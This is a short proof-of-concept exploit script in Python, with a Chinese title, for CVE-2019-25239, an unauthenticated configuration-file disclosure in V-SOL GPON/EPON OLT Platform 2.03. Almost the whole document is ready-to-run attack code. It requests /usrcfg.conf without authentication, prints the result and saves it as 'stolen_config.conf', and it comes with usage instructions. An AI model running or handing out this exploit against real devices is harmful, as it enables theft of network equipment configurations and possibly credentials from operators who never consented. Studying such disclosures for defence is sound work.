CVE-2019-25239 V-SOL GPON/EPON OLT Platform未授权信息泄露漏洞

# CVE-2019-25239 PoC - V-SOL GPON/EPON OLT Platform Unauthenticated Config Download # Reference: https://www.exploit-db.com/exploits/47433 import requests import sys import json def exploit_cve_2019_25239(target_url): """ Exploit for CVE-2019-25239: Unauthenticated configuration file download in V-SOL GPON/EPON OLT Platform 2.03 """ # Target endpoint for configuration file config_endpoint = "/usrcfg.conf" # Construct full URL url = target_url.rstrip('/') + config_endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2019-25239...") try: # Send HTTP GET request without any authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Success! Configuration file retrieved") print(f"[+] Content length: {len(response.text)} bytes") print(f"\n[+] Configuration content:\n") print(response.text) # Save to file with open('stolen_config.conf', 'w') as f: f.write(response.text) print(f"\n[+] Configuration saved to 'stolen_config.conf'") return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.1") sys.exit(1) target = sys.argv[1] exploit_cve_2019_25239(target)